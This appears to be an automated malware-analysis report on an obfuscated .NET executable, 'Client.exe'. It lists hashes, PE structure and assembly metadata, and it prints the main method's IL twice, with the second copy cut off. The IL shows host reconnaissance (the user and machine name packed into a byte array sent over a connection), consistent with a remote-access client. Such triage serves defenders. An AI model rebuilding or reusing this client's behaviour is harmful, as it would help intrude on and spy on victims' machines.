Suspicious
Suspect

118f503cb23b50c5d5755d2f930e31b3

PE Executable
|
MD5: 118f503cb23b50c5d5755d2f930e31b3
|
Size: 495.1 KB
|
application/x-dosexec

Print
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Very high

Hash
 Hash Value
MD5
118f503cb23b50c5d5755d2f930e31b3
Sha1
43b56465dd5b22fb2493e684a418d0dd0fcfde10
Sha256
7593b2e5b0fc25c232b65b799cdef88c9a02fd80c53384fa6e08f1fda975436a
Sha384
58800508ab4b89c34f9b2f7b079b187f7d9190fa1c7c4cc479e5c9e4f9b5babdee398c843b6de41f1818229eb3151c55
Sha512
7e7e581a5421a3e544186ee3961c1941ca8072c051411c31df7b2a7dd2383ebeb073a07cad08b4523fa79a085d7bd38bb35f35c1a3fc2df31e366c35f444e459
SSDeep
12288:sSAVPOr5OooESIwAVPSQ7uDkETxQfJT5E2CO:BOZBAVPSQ7UlP2z
TLSH
30B408253FE98E00D584257ECA7E3609CB26E0F215026347370AF6A25D459EEEE2D3D7

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
118f503cb23b50c5d5755d2f930e31b3
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
owpuhawpkvdgz7akl2j
okx956bjyrm
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Module Name

Client.exe
Full Name

Client.exe
EntryPoint

System.Void sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::VNbnpccelSuAyxFxEAdPtJp(System.String[])
Scope Name

Client.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

Client
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.0
Total Strings

617
Main Method

System.Void sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::VNbnpccelSuAyxFxEAdPtJp(System.String[])
Main IL Instruction Count

167
Main IL

call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::zrbgnTIJXq() stloc V_3 br IL_003F: br IL_000E nop <null> ldloc V_3 call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::cKJrXwlfDhCYWCFaKo() ceq <null> brfalse IL_0029: nop nop <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::mDNNOpbhZKnTGBXzubelVs() stloc V_3 nop <null> ldloc V_3 call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::VTxSEeitxVjEXPxvCvPLU() ceq <null> brfalse IL_003F: br IL_000E br IL_0044: call System.Void sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::oLreroWUwtdMW() br IL_000E: nop call System.Void sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::oLreroWUwtdMW() call System.Void mjWRZpjbtStxgqQaKkmdoige.qzuMTqXDEvFga::bCpLJmfKxgUTkN() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::KVaAMkVAjrgFpTEYwYVwSHQ call System.String GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::slQWQsyaQv() call System.String oXXcpotSKYvRvffsItePiXyqf.MBISBOHrqkMkZ::RmFbbGdVumNPemgJgUlXy(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse IL_006C: ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::RpKDYbCYlpBcVt call System.Void RwXyaTCnHxXPWlkddzXzJbkem.fxXzgojVMPVgXilGTEWveiBr::rWVwPleFHOzSwvgaEVB() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::RpKDYbCYlpBcVt call System.Boolean iGqiUeYuwQEa.WCJZRSfMStybHCXvB::XwOLSMjPZjVWHucjnHXB(System.String) brtrue IL_0080: call System.Void oXXcpotSKYvRvffsItePiXyqf.CfoNNLUGPNXVDX::XJrqXmPiQfPBRJNRy() leave IL_0283: ret call System.Void oXXcpotSKYvRvffsItePiXyqf.CfoNNLUGPNXVDX::XJrqXmPiQfPBRJNRy() call System.Void RwXyaTCnHxXPWlkddzXzJbkem.rfZWdkcOBTN::sKuMocrYwrnyQwf() ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM ldfld System.Boolean mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg::JnXrRurxbkhHJhDQUEFNzhOrD brtrue IL_026E: call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::qBghQiKZqHiPucmVYNO() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::gNCaQqCxgqnIVmzQFQPvN call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::NvXzCKzfDRtSru() newarr System.Char dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::XWDrRqyXwzkxfcp() call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::gQGGBuFbYtRS() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_0 ldloc V_0 ldsfld System.Random RwXyaTCnHxXPWlkddzXzJbkem.rfZWdkcOBTN::mHyMBtGYGSQJhRsYjcHVPwvp ldloc V_0 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::KFXCefZLUDZPYaz() newarr System.Char dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::MTDNKNBlnPcQcTX() call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::fEmtMuBxPuLNgrcTG() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_1 ldloc V_1 call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::LaOFHwDmPOCI() ldelem System.String call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::BfBjTnGFRRGxPCoEwmIK() newarr System.Char dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::HxJaxqpZfmuHLJh() call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::HJfzCtIIHruPhTctyQu() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_2 ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM callvirt System.Void mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg::tfAKmbFurTtWYDqqUeswmbEU() ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM ldloc V_1 call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::rJWxQfmeLqEsGZoddKQN() ldelem System.String ldloc V_2 ldsfld System.Random RwXyaTCnHxXPWlkddzXzJbkem.rfZWdkcOBTN::mHyMBtGYGSQJhRsYjcHVPwvp ldloc V_2 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String callvirt System.Void mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg::MmoccWwdVIpTwzRWPusmu(System.String,System.String) ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM ldfld System.Boolean mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg::JnXrRurxbkhHJhDQUEFNzhOrD brfalse IL_026E: call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::qBghQiKZqHiPucmVYNO() ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM newobj System.Void hxDkiNHaKQzOd.vnEsmsnFuS::.ctor(mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg) stfld hxDkiNHaKQzOd.vnEsmsnFuS mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg::FVlxaBMjglHikIHPmOI ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM newobj System.Void RwXyaTCnHxXPWlkddzXzJbkem.pRTEmMktOPXShwhggGiGG::.ctor(mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg) stfld RwXyaTCnHxXPWlkddzXzJbkem.pRTEmMktOPXShwhggGiGG mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg::ufwWPAwGxbYgolpWLeJfvaB ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::BTFvasMKAIvPAoynijWHdw() newarr System.Object dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::nCIIeyQnzgspqQB() call System.String GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::szmIEJWXlhqLPoepuawvft() call System.String oXXcpotSKYvRvffsItePiXyqf.MBISBOHrqkMkZ::RmFbbGdVumNPemgJgUlXy(System.String) stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::naULhJcGkqqubtGLFCStRj() call System.Byte[] RwXyaTCnHxXPWlkddzXzJbkem.rfZWdkcOBTN::TJocuoMOvOtNXxoxocdpS() stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::LjVviHyHWgtjhJljeZCY() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::DfQFHycoBFuHUKFCrosp stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::IWMGahknxHYErIbMNtyljT() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::IYCQdJVMbgVuCfdyUWarzn stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::hKYBTToUOKuDNJ() call System.String System.Environment::get_UserName() call System.String GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::TPAImpvOQLIjTGCgfahpVBa() call System.String oXXcpotSKYvRvffsItePiXyqf.MBISBOHrqkMkZ::RmFbbGdVumNPemgJgUlXy(System.String) call System.String System.Environment::get_MachineName() call System.String System.String::Concat(System.String,System.String,System.String) stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::IaOTZYVepAJWQfEmEoHevB() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::bLwHDtLZUj stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::QUJnJuxFOCYlXXPupMg() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::SkQwabkssjBhOlOQ stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::AKwXoKYqOFetGuxzPkLk() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::WxNEhMgntMZpfZAFxtiIovGM stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::vvUrugPouSSPSeFYlzzVGqI() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::BVhtGJMrkLNWejhJJYgOsBg stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::fedZQeEBwrFPcgteJ() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::ASZehVpdSCWWPkYkIgOK stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::UmLdoQrael() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::OenjOHRTaEhXzJWKLiDVrpiO stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::OlEmvMPDpYPNR() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::sjjWiYMyzpulhHwNb stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::aZqvFFVMEWVMCqMi() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::AuxNnHeviuVaonVBJhumno stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::ATphFAcgTeaTdEYuJNqBfZ() call System.String RwXyaTCnHxXPWlkddzXzJbkem.rfZWdkcOBTN::NFYETDVBsKDJYoXYT() stelem.ref <null> call System.Byte[] oXXcpotSKYvRvffsItePiXyqf.nUkplrryZG::YCjxILjPRkSpWEjvaJiERQM(System.Object[]) callvirt System.Void mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg::IVmNINFdRmz(System.Byte[]) call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::qBghQiKZqHiPucmVYNO() call System.Void System.Threading.Thread::Sleep(System.Int32) br IL_008A: ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM pop <null> leave IL_0283: ret ret <null>
Module Name

Client.exe
Full Name

Client.exe
EntryPoint

System.Void sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::VNbnpccelSuAyxFxEAdPtJp(System.String[])
Scope Name

Client.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

Client
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.0
Total Strings

617
Main Method

System.Void sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::VNbnpccelSuAyxFxEAdPtJp(System.String[])
Main IL Instruction Count

167
Main IL

call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::zrbgnTIJXq() stloc V_3 br IL_003F: br IL_000E nop <null> ldloc V_3 call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::cKJrXwlfDhCYWCFaKo() ceq <null> brfalse IL_0029: nop nop <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::mDNNOpbhZKnTGBXzubelVs() stloc V_3 nop <null> ldloc V_3 call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::VTxSEeitxVjEXPxvCvPLU() ceq <null> brfalse IL_003F: br IL_000E br IL_0044: call System.Void sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::oLreroWUwtdMW() br IL_000E: nop call System.Void sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::oLreroWUwtdMW() call System.Void mjWRZpjbtStxgqQaKkmdoige.qzuMTqXDEvFga::bCpLJmfKxgUTkN() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::KVaAMkVAjrgFpTEYwYVwSHQ call System.String GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::slQWQsyaQv() call System.String oXXcpotSKYvRvffsItePiXyqf.MBISBOHrqkMkZ::RmFbbGdVumNPemgJgUlXy(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse IL_006C: ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::RpKDYbCYlpBcVt call System.Void RwXyaTCnHxXPWlkddzXzJbkem.fxXzgojVMPVgXilGTEWveiBr::rWVwPleFHOzSwvgaEVB() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::RpKDYbCYlpBcVt call System.Boolean iGqiUeYuwQEa.WCJZRSfMStybHCXvB::XwOLSMjPZjVWHucjnHXB(System.String) brtrue IL_0080: call System.Void oXXcpotSKYvRvffsItePiXyqf.CfoNNLUGPNXVDX::XJrqXmPiQfPBRJNRy() leave IL_0283: ret call System.Void oXXcpotSKYvRvffsItePiXyqf.CfoNNLUGPNXVDX::XJrqXmPiQfPBRJNRy() call System.Void RwXyaTCnHxXPWlkddzXzJbkem.rfZWdkcOBTN::sKuMocrYwrnyQwf() ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM ldfld System.Boolean mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg::JnXrRurxbkhHJhDQUEFNzhOrD brtrue IL_026E: call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::qBghQiKZqHiPucmVYNO() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::gNCaQqCxgqnIVmzQFQPvN call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::NvXzCKzfDRtSru() newarr System.Char dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::XWDrRqyXwzkxfcp() call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::gQGGBuFbYtRS() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_0 ldloc V_0 ldsfld System.Random RwXyaTCnHxXPWlkddzXzJbkem.rfZWdkcOBTN::mHyMBtGYGSQJhRsYjcHVPwvp ldloc V_0 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::KFXCefZLUDZPYaz() newarr System.Char dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::MTDNKNBlnPcQcTX() call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::fEmtMuBxPuLNgrcTG() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_1 ldloc V_1 call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::LaOFHwDmPOCI() ldelem System.String call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::BfBjTnGFRRGxPCoEwmIK() newarr System.Char dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::HxJaxqpZfmuHLJh() call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::HJfzCtIIHruPhTctyQu() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_2 ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM callvirt System.Void mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg::tfAKmbFurTtWYDqqUeswmbEU() ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM ldloc V_1 call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::rJWxQfmeLqEsGZoddKQN() ldelem System.String ldloc V_2 ldsfld System.Random RwXyaTCnHxXPWlkddzXzJbkem.rfZWdkcOBTN::mHyMBtGYGSQJhRsYjcHVPwvp ldloc V_2 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String callvirt System.Void mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg::MmoccWwdVIpTwzRWPusmu(System.String,System.String) ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM ldfld System.Boolean mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg::JnXrRurxbkhHJhDQUEFNzhOrD brfalse IL_026E: call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::qBghQiKZqHiPucmVYNO() ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM newobj System.Void hxDkiNHaKQzOd.vnEsmsnFuS::.ctor(mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg) stfld hxDkiNHaKQzOd.vnEsmsnFuS mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg::FVlxaBMjglHikIHPmOI ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM newobj System.Void RwXyaTCnHxXPWlkddzXzJbkem.pRTEmMktOPXShwhggGiGG::.ctor(mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg) stfld RwXyaTCnHxXPWlkddzXzJbkem.pRTEmMktOPXShwhggGiGG mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg::ufwWPAwGxbYgolpWLeJfvaB ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::BTFvasMKAIvPAoynijWHdw() newarr System.Object dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::nCIIeyQnzgspqQB() call System.String GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::szmIEJWXlhqLPoepuawvft() call System.String oXXcpotSKYvRvffsItePiXyqf.MBISBOHrqkMkZ::RmFbbGdVumNPemgJgUlXy(System.String) stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::naULhJcGkqqubtGLFCStRj() call System.Byte[] RwXyaTCnHxXPWlkddzXzJbkem.rfZWdkcOBTN::TJocuoMOvOtNXxoxocdpS() stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::LjVviHyHWgtjhJljeZCY() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::DfQFHycoBFuHUKFCrosp stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::IWMGahknxHYErIbMNtyljT() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::IYCQdJVMbgVuCfdyUWarzn stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::hKYBTToUOKuDNJ() call System.String System.Environment::get_UserName() call System.String GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::TPAImpvOQLIjTGCgfahpVBa() call System.String oXXcpotSKYvRvffsItePiXyqf.MBISBOHrqkMkZ::RmFbbGdVumNPemgJgUlXy(System.String) call System.String System.Environment::get_MachineName() call System.String System.String::Concat(System.String,System.String,System.String) stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::IaOTZYVepAJWQfEmEoHevB() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::bLwHDtLZUj stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::QUJnJuxFOCYlXXPupMg() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::SkQwabkssjBhOlOQ stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::AKwXoKYqOFetGuxzPkLk() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::WxNEhMgntMZpfZAFxtiIovGM stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::vvUrugPouSSPSeFYlzzVGqI() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::BVhtGJMrkLNWejhJJYgOsBg stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::fedZQeEBwrFPcgteJ() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::ASZehVpdSCWWPkYkIgOK stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::UmLdoQrael() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::OenjOHRTaEhXzJWKLiDVrpiO stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::OlEmvMPDpYPNR() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::sjjWiYMyzpulhHwNb stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::aZqvFFVMEWVMCqMi() ldsfld System.String sPCaCkUplEKfDmwtmBx.SVwyZejbDZQuTieaPmZicD::AuxNnHeviuVaonVBJhumno stelem.ref <null> dup <null> call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::ATphFAcgTeaTdEYuJNqBfZ() call System.String RwXyaTCnHxXPWlkddzXzJbkem.rfZWdkcOBTN::NFYETDVBsKDJYoXYT() stelem.ref <null> call System.Byte[] oXXcpotSKYvRvffsItePiXyqf.nUkplrryZG::YCjxILjPRkSpWEjvaJiERQM(System.Object[]) callvirt System.Void mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg::IVmNINFdRmz(System.Byte[]) call System.Int32 GRNtLgstfooWPUtEHiIkmA.UPNJHuLwfzpV::qBghQiKZqHiPucmVYNO() call System.Void System.Threading.Thread::Sleep(System.Int32) br IL_008A: ldsfld mjWRZpjbtStxgqQaKkmdoige.lrNHHjptCgYbsXvOqfSgCWyg sPCaCkUplEKfDmwtmBx.csnqRcYAGQgxOToCMfPrjzkA::EPwlRgRWmcETQlVSdhetwcGbM pop <null> leave IL_0283: 